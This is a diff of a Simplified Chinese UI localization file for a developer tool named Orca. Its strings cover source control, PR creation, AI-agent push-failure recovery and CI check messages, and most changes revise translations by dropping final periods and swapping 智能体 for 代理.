+            "tooManyChanges": "已检测过多更改，仅显示前 {{value0}} 项",
             "submoduleTruncated": "已省略更多子模块更改",
             "bf5082de46": "已复制{{value0}}",
             "c06193ef57": "无法复制{{value0}}",
             "d172a4f068": "提交哈希",
             "e283b50179": "提交信息",
-            "f394c6128a": "没有可用于解释此提交的智能体",
+            "f394c6128a": "没有可用于解释此提交的代理",
             "04a5d7239b": "此仓库没有受支持的网页远程库",
             "15b6e834ac": "无法在浏览器中打开提交",
             "d37e68f61d": "正在准备分支以供评审…",
             "8d8f5c6c94": "正在生成提交信息…",
-            "fda060d6ce": "请先检查提交信息，然后重试创建 PR。",
+            "fda060d6ce": "请先检查提交信息，然后重试创建 PR",
             "b75cb1fd0c": "正在提交更改…",
-            "995c5e67ec": "评审设置需要处理。",
-            "d7492cafce": "无法刷新 Source Control。请重试创建 PR。",
-            "473f18758e": "Source Control AI 设置",
-            "createPrIntentConfigureAi": "请添加提交信息或配置源代码管理 AI 设置。",
-            "createPrIntentGenerateFailed": "无法生成提交信息。请添加一条信息后重试。",
-            "createPrIntentCommitFailed": "无法提交更改。请修复问题后重试创建 PR。",
-            "createPrIntentNeedsSync": "创建评审前请先同步此分支。",
-            "createPrIntentBranchNotReady": "分支尚未准备好创建评审。",
+            "995c5e67ec": "评审设置需要处理",
+            "d7492cafce": "无法刷新源代码管理，请重试创建 PR",
+            "473f18758e": "源代码管理 AI 设置",
+            "createPrIntentConfigureAi": "请添加提交信息或配置源代码管理 AI 设置",
+            "createPrIntentGenerateFailed": "无法生成提交信息，请添加一条信息后重试",
+            "createPrIntentCommitFailed": "无法提交更改，请修复问题后重试创建 PR",
+            "createPrIntentNeedsSync": "创建评审前请先同步此分支",
+            "createPrIntentBranchNotReady": "分支尚未准备好创建评审",
             "createPrIntentPublishing": "正在发布分支…",
             "createPrIntentForcePushing": "正在使用 lease 强制推送…",
             "createPrIntentPushing": "正在推送提交…",
             "createPrIntentFastForwarding": "正在更新分支…",
-            "createPrIntentRemoteFailed": "无法更新远程分支。请重试创建 PR。",
+            "createPrIntentRemoteFailed": "无法更新远程分支，请重试创建 PR",
             "createPrIntentGeneratingDetails": "正在生成审查详情…",
-            "createPrIntentBranchChangedDuringDetails": "生成审查详情时分支已更改。请重试创建 PR。",
+            "createPrIntentBranchChangedDuringDetails": "生成审查详情时分支已更改，请重试创建 PR",
             "createPrIntentCreatingReview": "正在创建审查…",
             "a91f8e2b01": "以列表查看",
             "b82e9f3c12": "以树形查看",
@@ -13204,15 +13512,15 @@
             "d4f8c2a901": "清除并关闭筛选器",
             "e8a1c4b203": "vs",
             "4b4a7de138": "在浏览器中打开审查页面",
-            "createPrIntentCommitBlockedSummary": "提交被阻止：{{value0}} 修复问题后重试创建 PR。",
+            "createPrIntentCommitBlockedSummary": "提交被阻止：{{value0}} 修复问题后重试创建 PR",
             "pushRecovery": {
-              "4b37ae99b0": "启动默认 AI 智能体修复此推送失败",
+              "4b37ae99b0": "启动默认 AI 代理修复此推送失败",
               "30b8d4f181": "使用 AI 修复推送失败",
-              "dd43c47089": "选择智能体修复此推送失败",
-              "ec7bfced55": "选择智能体修复推送失败",
+              "dd43c47089": "选择代理修复此推送失败",
+              "ec7bfced55": "选择代理修复推送失败",
               "9e5ccd00aa": "推送失败上下文不可用",
               "054ead86b1": "使用 AI 修复推送失败",
-              "15b7f210d7": "选择智能体并在启动前编辑完整命令输入。",
+              "15b7f210d7": "选择代理并在启动前编辑完整命令输入",
               "011f9713fc": "推送已阻止",
               "60bd988f0b": "AI 修复",
               "03d238218c": "详情",
@@ -13220,17 +13528,17 @@
               "834cb3f23d": "使用 AI 修复",
               "783a808870": "关闭"
             },
-            "97e7124eac": "无法刷新 Source Control。请重试。",
+            "97e7124eac": "无法刷新源代码管理，请重试！",
             "b8c2e1a904": "{{value0}} → {{value1}}",
             "a4e93c21d7": "当前分支：{{value0}}",
             "c7d4e2f801": "更改基引用：{{value0}}",
-            "createPrIntentGenerateDetailsFailed": "无法生成评审详情。请重试创建 PR。",
-            "entryStageFailed": "无法暂存“{{value0}}”",
-            "entryUnstageFailed": "无法取消暂存“{{value0}}”",
-            "entryDiscardFailed": "无法丢弃“{{value0}}”",
+            "createPrIntentGenerateDetailsFailed": "无法生成评审详情，请重试创建 PR",
+            "entryStageFailed": "暂存“{{value0}}”失败",
+            "entryUnstageFailed": "取消暂存“{{value0}}”失败",
+            "entryDiscardFailed": "丢弃“{{value0}}”失败",
             "entryDeleteFailed": "删除“{{value0}}”失败",
-            "entryFailedInWorkspace": "{{value0}} 在 {{value1}} 中",
-            "diffCommentNotesCopyFailed": "复制笔记失败",
+            "entryFailedInWorkspace": "{{value1}} 中的 {{value0}}",
+            "diffCommentNotesCopyFailed": "复制注释失败",
             "conflictCount_one": "{{count}} 个冲突",
             "conflictCount_other": "{{count}} 个冲突",
             "discardFailedSampleMore_other": "{{paths}}，另有 +{{count}} 个",
@@ -13249,8 +13557,8 @@
             "pushesToForkTarget": "推送到 fork {{target}}",
             "abortRebaseConfirmTitle": "中止变基？",
             "abortMergeConfirmTitle": "中止合并？",
-            "abortRebaseConfirmDescription": "这将取消正在进行的变基，并可能丢弃此次变基期间的冲突解决结果。",
-            "abortMergeConfirmDescription": "这将取消正在进行的合并，并可能丢弃此次合并期间的冲突解决结果。",
+            "abortRebaseConfirmDescription": "这将取消正在进行的变基，并可能丢弃此次变基期间的冲突解决结果",
+            "abortMergeConfirmDescription": "这将取消正在进行的合并，并可能丢弃此次合并期间的冲突解决结果",
             "abortRebaseFailedFallback": "无法中止变基",
             "abortMergeFailedFallback": "无法中止合并",
             "abortRebaseFailed": "中止变基失败",
@@ -13263,39 +13571,39 @@
             "refreshAll": "全部刷新"
           },
           "SourceControlAgentActionDialog": {
-            "8e856842d1": "无法启动选定的智能体。",
-            "c075d00de1": "无法解析工作区连接。",
-            "808cfe0a3b": "仅保存到此仓库",
+            "8e856842d1": "无法启动选定的代理",
+            "c075d00de1": "无法解析工作区连接",
+            "808cfe0a3b": "仅保存到此存储库",
             "994cddd1f7": "不保存",
             "38b899cc02": "所有仓库",
-            "agentNotEnabledOrDetected": "{{agent}} 未在此工作区主机上启用，或未检测到。",
-            "workspaceConnectionUnresolved": "无法解析工作区连接。",
-            "noEnabledAgentsDetected": "此工作区主机上未检测到已启用的智能体。",
+            "agentNotEnabledOrDetected": "{{agent}} 未在此工作区主机上启用，或未检测到",
+            "workspaceConnectionUnresolved": "无法解析工作区连接",
+            "noEnabledAgentsDetected": "此工作区主机上未检测到已启用的智能体",
             "startAgent": "启动智能体"
           },
           "SourceControlAgentActionDialogForm": {
             "7ec6abbf2a": "重置",
             "f4f3c9ca4a": "提示词模板",
             "b99c33cec5": "设置",
-            "15c5d85706": "智能体",
-            "1d47db9bf0": "没有启用智能体",
-            "c7ff8cef11": "正在检测智能体...",
+            "15c5d85706": "代理",
+            "1d47db9bf0": "没有启用代理",
+            "c7ff8cef11": "检测剂...",
             "013c9ac04a": "保存范围",
-            "23280cbab1": "此模板不包含 {basePrompt}，因此智能体不会收到 Orca 的默认提示词。",
-            "5421a96acb": "保存并启动智能体",
-            "6cefcdfba1": "稍后可以在源代码管理 AI 设置中更改。",
+            "23280cbab1": "此模板不包含 {basePrompt}，因此代理不会收到 Orca 的默认提示词",
+            "5421a96acb": "保存并启动代理",
+            "6cefcdfba1": "稍后可以在源代码管理 AI 设置中更改",
             "c29f9cf266": "保存此提示，下次不再显示此评审",
             "ea4788705e": "取消",
             "b0da3a4d3e": "启动预设已保存",
-            "bff4795a6d": "更改智能体、参数或提示词模板以更新已保存的预设。",
-            "5c75b24735": "自定义 Orca 启动智能体前发送给它的内容。",
-            "repoAgentOverrideNote": "此仓库会覆盖你的全局默认值（{{global}}），当前运行 {{effective}}。保存到此仓库以更改这里运行的内容。"
+            "bff4795a6d": "更改代理、参数或提示词模板以更新已保存的预设",
+            "5c75b24735": "自定义 Orca 启动代理前发送给它的内容",
+            "repoAgentOverrideNote": "此仓库会覆盖你的全局默认值({{global}})，当前运行 {{effective}}，保存到此仓库以更改这里运行的内容"
           },
           "SourceControlTextGenerationDialog": {
             "c5b7fa7cb6": "保存为全局默认值",
-            "7f1ec309a4": "保存为所有仓库的默认值",
-            "5959da1e4d": "仅保存到此仓库",
-            "d054d5e0a0": "设置未加载。"
+            "7f1ec309a4": "保存为所有存储库的默认值",
+            "5959da1e4d": "仅保存到此存储库",
+            "d054d5e0a0": "设置未加载"
           },
           "SourceControlTextGenerationDialogForm": {
             "25fcd8e49a": "保存默认值",
@@ -13304,8 +13612,8 @@
             "551ffd111b": "--model sonnet",
             "4eab815004": "CLI 参数",
             "914c8f6ac2": "自定义命令",
-            "cce2cbd01d": "选择智能体",
-            "9c14186dd2": "智能体"
+            "cce2cbd01d": "选择代理",
+            "9c14186dd2": "代理"
           },
           "activity": {
             "bar": {
@@ -13320,7 +13628,7 @@
                 "755be805f6": "暂无评论",
                 "751f7c6e5c": "显示每个来源的前 100 条评论",
                 "94557d68e2": "评论",
-                "3fff651d32": "添加PR评论",
+                "3fff651d32": "添加 PR 评论",
                 "ea9fd5ed6a": "开始对话...",
                 "8987d5a3dd": "已解决",
                 "ba20d1a896": "回复{{value0}}",
@@ -13336,9 +13644,9 @@
                 "cbcc4ab3db": "显示前 100 项检查",
                 "0dca6bfab5": "打开检查详细信息",
                 "991f50c7e4": "尚未报告任何 CI 检查",
-                "e15a8b77ef": "此检查没有可用的内联详细信息。",
+                "e15a8b77ef": "此检查没有可用的内联详细信息",
                 "679bf2093c": "复制日志尾部",
-                "d713f500b2": "日志尾部（最后 200 行）",
+                "d713f500b2": "日志尾部(最后 200 行)",
                 "49731703ea": "任务",
                 "f2fe8a4e8f": "注释",
                 "2dd5ddabc4": "工作流程#",
@@ -13351,17 +13659,17 @@
                 "df137989b3": "显示前 20 个注释",
                 "1f2b980522": "正在加载检查详细信息...",
                 "0c96cd25e5": "解决",
-                "3a71a6ed0b": "在检查和合并完成之前解决冲突。",
-                "c16762ac8c": "下面的检查和注释显示当前获取的上下文。",
+                "3a71a6ed0b": "在检查和合并完成之前解决冲突",
+                "c16762ac8c": "下面的检查和注释显示当前获取的上下文",
                 "9d0e7bcefc": "没有阻塞 PR 操作",
-                "5856874b59": "当该面板保持打开状态时，Orca 将刷新检查。",
+                "5856874b59": "当该面板保持打开状态时，Orca 将刷新检查",
                 "b45db92d0e": "修复",
-                "5d4ebf9391": "检查详细信息或启动 AI 修复过程。",
+                "5d4ebf9391": "检查详细信息或启动 AI 修复过程",
                 "87cd07c69a": "该分支存在必须解决的冲突",
                 "0975eeaaef": "冲突的文件",
                 "2b2be92919": "添加评论",
                 "7440d09d2c": "开始对话",
-                "b37ebdc51c": "无法发表评论。",
+                "b37ebdc51c": "无法发表评论",
                 "365254cc1b": "未解决",
                 "7f793b571d": "拖动以调整检查面板大小",
                 "ee07b33924": "未知",
@@ -13369,7 +13677,7 @@
                 "066fedd446": "失败的工作",
                 "ae8a04ef17": "冲突文件详细信息不可用",
                 "73d0675356": "刷新冲突细节...",
-                "f5bc5c4cf1": "托管提供方报告存在冲突，但本地 Git 未能复现。请刷新评审或推送分支以重新计算可合并性。",
+                "f5bc5c4cf1": "托管提供方报告存在冲突，但本地 Git 未能复现，请刷新评审或推送分支以重新计算可合并性",
                 "5bc9bda2af": "从此工作树运行",
                 "e87fb3d929": "复制可合并性刷新命令",
                 "1e53e45072": "已复制",
@@ -13377,7 +13685,7 @@
                 "5dc3af25c0": "选择评论",
                 "d7a2f9c401": "发送未解决的 {{value0}} 评论",
                 "a6de3e5a20": "清除已排队评论",
-                "f8a2c91d04": "加入智能体队列",
+                "f8a2c91d04": "加入代理队列",
                 "b4e8a1c902": "已加入队列",
                 "e8b4c1a903": "已解决 · {{value0}}",
                 "c3a8e5d710": "需审核 · {{value0}}",
@@ -13386,11 +13694,11 @@
                 "b13f85d75c": "时间线",
                 "f5cf324efa": "评论显示选项",
                 "5e6e5a13fa": "查看",
-                "actionRequiredHint": "需要在 GitHub 上执行手动操作（例如批准运行）才能解除合并阻止。",
+                "actionRequiredHint": "需要在 GitHub 上执行手动操作（例如批准运行）才能解除合并阻止",
                 "b3195cba33": "取消将作者标记为机器人",
                 "f588b46a6c": "将作者标记为机器人",
-                "e45324fbed": "加载检查详细信息失败。",
-                "checksUnresolvedStripHint": "这些检查完成后没有得出通过或失败的结论。",
+                "e45324fbed": "加载检查详细信息失败，",
+                "checksUnresolvedStripHint": "这些检查已结束，但没有通过或失败结论",
                 "dcb3c546fe": "重试",
                 "commitsBehind_one": "落后 {{count}} 个提交",
                 "commitsBehind_other": "落后 {{count}} 个提交",
@@ -13411,8 +13719,8 @@
                 "conflictsBlockThisPr": "冲突阻止了此 PR",
                 "copyComment": "复制评论",
                 "sendComment": "发送",
-                "commentingRequiresGitHubPrTarget": "发表评论需要指定 GitHub PR 的目标仓库。",
-                "selectWorkspaceBeforeAiAction": "启动 AI 操作前请选择工作区。",
+                "commentingRequiresGitHubPrTarget": "发表评论需要指定 GitHub PR 的目标仓库",
+                "selectWorkspaceBeforeAiAction": "启动 AI 操作前请选择工作区",
                 "operation": {
                   "rebase": "变基",
                   "merge": "合并",
@@ -13427,136 +13735,136 @@
               },
               "review": {
                 "detail": {
-                  "positive": "Orca 也有已保存的 {{reviewLabel}} 信息但无法验证。",
-                  "rate_limited": "Orca 无法检查 {{reviewLabel}} 状态，因为 {{provider}} 正在临时限制请求。",
-                  "network": "Orca 无法检查 {{reviewLabel}} 状态，因为当前环境无法连接到 {{provider}}。",
-                  "untyped": "Orca 无法确认此分支是否已有 {{reviewLabel}}。"
+                  "positive": "Orca 也有已保存的 {{reviewLabel}} 信息但无法验证",
+                  "rate_limited": "Orca 无法检查 {{reviewLabel}} 状态，因为 {{provider}} 正在临时限制请求",
+                  "network": "Orca 无法检查 {{reviewLabel}} 状态，因为当前环境无法连接到 {{provider}}",
+                  "untyped": "Orca 无法确认此分支是否已有 {{reviewLabel}}"
                 },
                 "positive": {
                   "title": "{{reviewLabelCap}} 详细信息不可用",
-                  "body": "Orca 已为此分支保存了 {{reviewLabel}} 信息，但无法确认其当前状态。"
+                  "body": "Orca 已为此分支保存了 {{reviewLabel}} 信息，但无法确认其当前状态"
                 },
                 "no_review": {
                   "title": "未找到 {{reviewLabel}}",
-                  "body": "创建 {{reviewLabel}} 以开始检查和评审。"
+                  "body": "创建 {{reviewLabel}} 以开始检查和评审"
                 },
                 "active": {
                   "title": "正在检查 {{reviewLabel}} 状态",
-                  "body": "Orca 正在检查 {{provider}} 上此分支的 {{reviewLabel}}。"
+                  "body": "Orca 正在检查 {{provider}} 上此分支的 {{reviewLabel}}"
                 },
                 "git_loading": {
                   "title": "正在检查分支状态",
-                  "body": "Orca 正在检查此分支，然后显示创建或发布操作。"
+                  "body": "Orca 正在检查此分支，然后显示创建或发布操作"
                 },
                 "git_error": {
                   "title": "无法检查分支状态",
-                  "body": "Orca 无法从当前环境确认此分支的上游。请在发布或创建 {{reviewLabel}} 之前重试。"
+                  "body": "Orca 无法从当前环境确认此分支的上游，请在发布或创建 {{reviewLabel}} 之前重试"
                 },
                 "unknown": {
                   "title": "{{reviewLabelCap}} 状态不可用",
-                  "body": "Orca 尚未确认此分支的 {{reviewLabel}} 状态。请重试以再次检查。"
+                  "body": "Orca 尚未确认此分支的 {{reviewLabel}} 状态，请重试以再次检查"
                 },
                 "paused": {
                   "title": "{{provider}} 刷新已暂停",
-                  "body": "{{provider}} 正在临时限制请求。即使显示的 API 配额未用完，也可能发生这种情况。"
+                  "body": "{{provider}} 正在临时限制请求，即使显示的 API 配额未用完，也可能发生这种情况"
                 },
                 "network": {
                   "title": "无法连接到 {{provider}}",
-                  "body": "当前环境无法连接到 {{provider}}。请检查连接后重试。"
+                  "body": "当前环境无法连接到 {{provider}}，请检查连接后重试"
                 },
                 "unknown_error": {
                   "title": "无法检查 {{reviewLabel}} 状态",
-                  "body": "查询失败，Orca 无法确认此分支是否已有 {{reviewLabel}}。"
+                  "body": "查询失败，Orca 无法确认此分支是否已有 {{reviewLabel}}"
                 },
                 "untyped": {
                   "title": "{{reviewLabelCap}} 状态不可用",
-                  "body": "Orca 无法确认此分支是否已有 {{reviewLabel}}。请重试以再次检查。"
+                  "body": "Orca 无法确认此分支是否已有 {{reviewLabel}}，请重试以再次检查"
                 },
                 "auth": {
                   "title": "{{provider}} 身份验证失败",
-                  "body": "{{provider}} 无法验证当前环境中的凭据。请检查 {{provider}} 登录或环境令牌后重试。"
+                  "body": "{{provider}} 无法验证当前环境中的凭据，请检查 {{provider}} 登录或环境令牌后重试"
                 },
                 "permission": {
                   "title": "{{provider}} 访问被拒绝",
-                  "body": "当前 {{provider}} 凭据无法读取此仓库的 {{reviewLabel}}。请检查账户、令牌范围和仓库访问权限后重试。"
+                  "body": "当前 {{provider}} 凭据无法读取此仓库的 {{reviewLabel}}，请检查账户、令牌范围和仓库访问权限后重试"
                 },
                 "repo": {
                   "title": "{{provider}} 仓库不可用",
-                  "body": "{{provider}} 无法解析或访问当前远程和账户的仓库。请检查远程和仓库访问权限后重试。"
+                  "body": "{{provider}} 无法解析或访问当前远程和账户的仓库，请检查远程和仓库访问权限后重试"
                 },
                 "cli": {
                   "title": "{{provider}} CLI 不可用",
-                  "body": "Orca 无法在当前环境中运行 {{provider}} CLI。请在此处设置后重试。"
+                  "body": "Orca 无法在当前环境中运行 {{provider}} CLI，请在此处设置后重试"
                 },
                 "skipped": {
                   "disconnected": {
                     "title": "主机已断开连接",
-                    "body": "此仓库的执行主机已断开连接，Orca 无法刷新 {{reviewLabel}} 状态。"
+                    "body": "此仓库的执行主机已断开连接，Orca 无法刷新 {{reviewLabel}} 状态"
                   },
                   "bare": {
                     "title": "裸仓库",
-                    "body": "此仓库是裸仓库，因此此处无法使用 {{reviewLabel}} 状态。"
+                    "body": "此仓库是裸仓库，因此此处无法使用 {{reviewLabel}} 状态"
                   },
                   "archived": {
                     "title": "仓库已归档",
-                    "body": "此仓库已归档，Orca 不会刷新 {{reviewLabel}} 状态。"
+                    "body": "此仓库已归档，Orca 不会刷新 {{reviewLabel}} 状态"
+                  },
+                  "not_git": {
+                    "title": "不是 Git 仓库",
+                    "body": "Orca 无法将此文件夹作为 Git 仓库来获取 {{reviewLabel}} 状态"
+                  },
+                  "remote": {
+                    "title": "仅远程上下文",
+                    "body": "Orca 无法刷新此远程上下文的 {{reviewLabel}} 状态，请在主机可用后重试"
                   },
                   "host_off": {
                     "title": "WSL 主机已关闭",
                     "body": "Orca 通过此项目的 WSL 主机刷新 {{reviewLabel}} 状态，但主机已关闭。请重新连接以刷新状态。"
-                  },
-                  "not_git": {
-                    "title": "不是 Git 仓库",
-                    "body": "Orca 无法将此文件夹作为 Git 仓库来获取 {{reviewLabel}} 状态。"
-                  },
-                  "remote": {
-                    "title": "仅远程上下文",
-                    "body": "Orca 无法刷新此远程上下文的 {{reviewLabel}} 状态。请在主机可用后重试。"
                   }
                 },
                 "no_upstream": {
                   "title": "未配置上游",
-                  "body": "请在创建 {{reviewLabel}} 之前发布此分支以设置其上游。"
+                  "body": "请在创建 {{reviewLabel}} 之前发布此分支以设置其上游"
                 },
                 "needs_sync": {
                   "title": "分支需要同步",
-                  "body": "请在创建 {{reviewLabel}} 之前将此分支与其上游同步。"
+                  "body": "请在创建 {{reviewLabel}} 之前将此分支与其上游同步"
                 },
                 "auth_required": {
                   "title": "连接 {{provider}}",
-                  "body": "Orca 创建 {{reviewLabel}} 之前，必须在当前环境中连接 {{provider}}。"
+                  "body": "Orca 创建 {{reviewLabel}} 之前，必须在当前环境中连接 {{provider}}"
                 },
                 "needs_push": {
                   "title": "分支有未推送的提交",
-                  "body": "请在创建 {{reviewLabel}} 之前推送最新提交。"
+                  "body": "请在创建 {{reviewLabel}} 之前推送最新提交"
                 },
                 "existing": {
                   "title": "{{reviewLabelCap}} 已存在",
-                  "body": "Orca 找到了此分支的现有 {{reviewLabel}}。"
+                  "body": "Orca 找到了此分支的现有 {{reviewLabel}}"
                 },
                 "detached": {
                   "title": "没有当前分支",
-                  "body": "请在创建 {{reviewLabel}} 之前检出分支。"
+                  "body": "请在创建 {{reviewLabel}} 之前检出分支"
                 },
                 "dirty": {
                   "title": "请先提交更改",
-                  "body": "请在创建 {{reviewLabel}} 之前提交或暂存更改。"
+                  "body": "请在创建 {{reviewLabel}} 之前提交更改或将其存入 stash。"
                 },
                 "default_branch": {
                   "title": "在默认分支上",
-                  "body": "请在创建 {{reviewLabel}} 之前切换到功能分支。"
+                  "body": "请在创建 {{reviewLabel}} 之前切换到功能分支"
                 },
                 "fork": {
                   "title": "不支持 Fork 头",
-                  "body": "Orca 无法从此处的 Fork 头创建 {{reviewLabel}}。"
+                  "body": "Orca 无法从此处的 Fork 头创建 {{reviewLabel}}"
                 },
                 "base_missing": {
                   "title": "基础分支不在远程上",
-                  "body": "此分支的基础尚未在远程上，因此无法将 {{reviewLabel}} 定向到它。"
+                  "body": "此分支的基础尚未在远程上，因此无法将 {{reviewLabel}} 定向到它"
                 },
                 "unsupported": {
                   "title": "此处不支持 {{reviewLabelCap}}",
-                  "body": "此仓库提供程序不支持从 Orca 创建 {{reviewLabel}}。"
+                  "body": "此仓库提供程序不支持从 Orca 创建 {{reviewLabel}}"
                 }
               },
               "loadFailedOnMachine": "无法从 {{machine}} 加载：{{detail}}",
@@ -13587,22 +13895,22 @@
                   "ee482a2bad": "该合并请求已被合并",
                   "fae95ae20d": "合并",
                   "5105b0e584": "需要批准",
-                  "46dc85711b": "GitLab 需要获得批准才能合并此 MR",
-                  "893a999c8c": "要求更改",
-                  "c65408a99d": "评审人请求对此合并请求进行更改",
-                  "01ab632a21": "未解决的话题",
-                  "4191fdfcec": "GitLab 要求在合并之前解决未解决的讨论",
+                  "46dc85711b": "GitLab 要求批准后此 MR 才能合并",
+                  "893a999c8c": "已请求更改",
+                  "c65408a99d": "评审人已对此合并请求提出更改要求",
+                  "01ab632a21": "未解决的讨论串",
+                  "4191fdfcec": "GitLab 要求合并前解决未完成的讨论",
                   "bf628700f6": "检查必须通过",
-                  "37d8637c70": "GitLab 要求管道成功才能合并此 MR",
-                  "049ea91a82": "管道仍在运行",
-                  "382c70faeb": "在后面",
-                  "2c61100b3a": "合并前更新分支",
+                  "37d8637c70": "GitLab 要求流水线成功后此 MR 才能合并",
+                  "049ea91a82": "流水线仍在运行",
+                  "382c70faeb": "落后",
+                  "2c61100b3a": "合并前请更新分支",
                   "195917574e": "检查中",
-                  "ff6db2db63": "GitLab 仍在计算此合并请求状态",
-                  "4ecc0d90ee": "被阻止",
-                  "a0f3de7023": "GitLab 报告此合并请求被阻止",
+                  "ff6db2db63": "GitLab 仍在计算此合并请求的状态",
+                  "4ecc0d90ee": "已阻止",
+                  "a0f3de7023": "GitLab 报告此合并请求已被阻止",
                   "804ecf93e8": "GitLab 尚未报告最终合并状态",
-                  "a5c049afe4": "GitLab 说这个 MR 可以合并"
+                  "a5c049afe4": "GitLab 表示此 MR 可以合并"
                 }
               }
             }
@@ -13617,7 +13925,7 @@
             "0314901467": "源代码控制",
             "8bc2bbc3a0": "资源管理器",
             "9fffaf17c1": "切换右侧边栏 ({{value0}})",
-            "aiVaultSessionHistory": "智能体",
+            "aiVaultSessionHistory": "代理",
             "folderWorkspaces": "已附加的工作树",
             "parentPrChecks": "PR 检查"
           },
@@ -13632,7 +13940,7 @@
                   "542bf6a7e2": "斜体",
                   "256300f8ea": "粗体",
                   "87aff03d63": "正在发送...",
-                  "commentTooLarge": "评论过长，无法安全提交。"
+                  "commentTooLarge": "评论过长，无法安全提交"
                 }
               }
             }
@@ -13642,34 +13950,34 @@
               "ai": {
                 "recovery": {
                   "launch": {
-                    "4f4e0418a0": "无法构建智能体提示词。",
+                    "4f4e0418a0": "无法构建代理提示词",
                     "push": {
-                      "empty": "推送失败提示词为空。请更新源代码控制 AI 设置。"
+                      "empty": "推送失败提示词为空，请更新源代码控制 AI 设置"
                     },
                     "commit": {
-                      "empty": "提交失败提示词为空。请更新源代码控制 AI 设置。"
+                      "empty": "提交失败提示词为空，请更新源代码控制 AI 设置"
                     },
-                    "d481ab22f9": "已保存的 AI 智能体不可用。请使用「自定义启动」选择其他智能体。",
-                    "9bbd9077a2": "没有已启用的 AI 智能体。请在设置中配置智能体。",
-                    "216f762bd7": "无法解析工作区连接。",
-                    "success": "已为 {{value0}} 失败启动 AI 智能体。"
+                    "d481ab22f9": "已保存的 AI 代理不可用，请使用「自定义启动」选择其他代理",
+                    "9bbd9077a2": "没有已启用的 AI 代理，请在设置中配置代理",
+                    "216f762bd7": "无法解析工作区连接",
+                    "success": "已为 {{value0}} 失败启动 AI 代理"
                   }
                 }
               },
               "discard": {
                 "confirmation": {
                   "2ae5a785b3": "放弃所有未暂存的更改？",
-                  "ddf36f291c": "这将取消暂存并恢复所有已暂存的更改。暂存的新文件将被删除。此操作无法撤销。",
+                  "ddf36f291c": "这将取消暂存并恢复所有已暂存的更改，暂存的新文件将被删除，此操作无法撤销",
                   "5ddd8cac7f": "放弃所有已暂存的更改？",
-                  "d4df3a61df": "放弃对“{{value0}}”的更改？",
-                  "5c0bdbc4cb": "恢复“{{value0}}”？",
-                  "d97bf697c9": "这将永久删除该文件。此操作无法撤销。",
-                  "96c772bee9": "删除“{{value0}}”？"
+                  "d4df3a61df": "放弃对\"{{value0}}\"的更改？",
+                  "5c0bdbc4cb": "恢复\"{{value0}}\"？",
+                  "d97bf697c9": "这将永久删除该文件，此操作无法撤销",
+                  "96c772bee9": "删除\"{{value0}}\"？"
                 },
                 "dialog": {
                   "3bc61dc989": "取消",
                   "15efa778e3": "放弃",
-                  "0d2d88cba5": "此操作无法撤销。",
+                  "0d2d88cba5": "此操作无法撤销",
                   "1551c14668": "放弃更改？",
                   "fileCount_one": "{{count}} 个文件",
                   "fileCount_other": "{{count}} 个文件"
@@ -13679,7 +13987,7 @@
                 "items": {
                   "7aad2c0240": "托管评审操作进行中…",
                   "9e779995dd": "创建 {{value0}}",
-                  "226b85a3a7": "fetch",
+                  "226b85a3a7": "获取",
                   "323bb614aa": "提交并同步",
                   "2b8e6595fd": "提交",
                   "04d709801d": "从远程获取但不合并",
@@ -13757,16 +14065,16 @@
                   "fastForwardCount_other": "快进 {{count}} 个提交",
                   "syncCounts": "拉取 {{behind}} 个，推送 {{ahead}} 个",
                   "remoteBranchFallback": "远程分支",
-                  "titleForcePushOlderCopiesBranch": "远程只有本地提交的旧副本。使用 lease 强制推送此分支以更新 {{upstreamName}}。",
-                  "titleForcePushOlderCopiesCount_one": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}。",
-                  "titleForcePushOlderCopiesCount_other": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}。",
-                  "titleManualForcePush_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}。",
-                  "titleManualForcePush_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}。",
-                  "titleManualForcePushReplaceRemote_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交。",
-                  "titleManualForcePushReplaceRemote_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交。",
-                  "titleUnpublishedForcePushBranch": "使用 lease 强制推送此分支，并在需要时设置上游。",
-                  "titleUnpublishedForcePushCount_one": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游。",
-                  "titleUnpublishedForcePushCount_other": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游。"
+                  "titleForcePushOlderCopiesBranch": "远程只有本地提交的旧副本。使用 lease 强制推送此分支以更新 {{upstreamName}}",
+                  "titleForcePushOlderCopiesCount_one": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}",
+                  "titleForcePushOlderCopiesCount_other": "远程只有本地提交的旧副本。使用 lease 强制推送 {{count}} 个分支提交以更新 {{upstreamName}}",
+                  "titleManualForcePush_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}",
+                  "titleManualForcePush_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}",
+                  "titleManualForcePushReplaceRemote_one": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交",
+                  "titleManualForcePushReplaceRemote_other": "使用 lease 强制推送 {{count}} 个本地提交以更新 {{upstreamName}}，并替换仅存在于远程的提交",
+                  "titleUnpublishedForcePushBranch": "使用 lease 强制推送此分支，并在需要时设置上游",
+                  "titleUnpublishedForcePushCount_one": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游",
+                  "titleUnpublishedForcePushCount_other": "使用 lease 强制推送 {{count}} 个分支提交，并在需要时设置上游"
                 }
               },
               "primary": {
@@ -13774,41 +14082,41 @@
                   "ed93b4f14f": "提交",
                   "946a8a05ea": "为此分支创建 {{value0}}",
                   "e7ffa46946": "创建 {{value0}}",
-                  "95550cff15": "推",
-                  "d64292a938": "拉",
+                  "95550cff15": "推送",
+                  "d64292a938": "拉取",
                   "795f1509c5": "同步",
-                  "390abeab93": "强力推",
+                  "390abeab93": "强制推送",
                   "1884cf34af": "将此分支发布到 origin",
                   "7b4d02e6b8": "发布分支",
-                  "3d5dccef0b": "没有可提交的内容。PR 已合并。",
+                  "3d5dccef0b": "没有可提交的内容，PR 已合并",
                   "41d4bcf157": "检查 PR 状态...",
                   "fa3bd4f40c": "暂存至少一个要提交的文件",
                   "5a477d80cb": "暂存所有更改",
-                  "18a0fca877": "暂存全部",
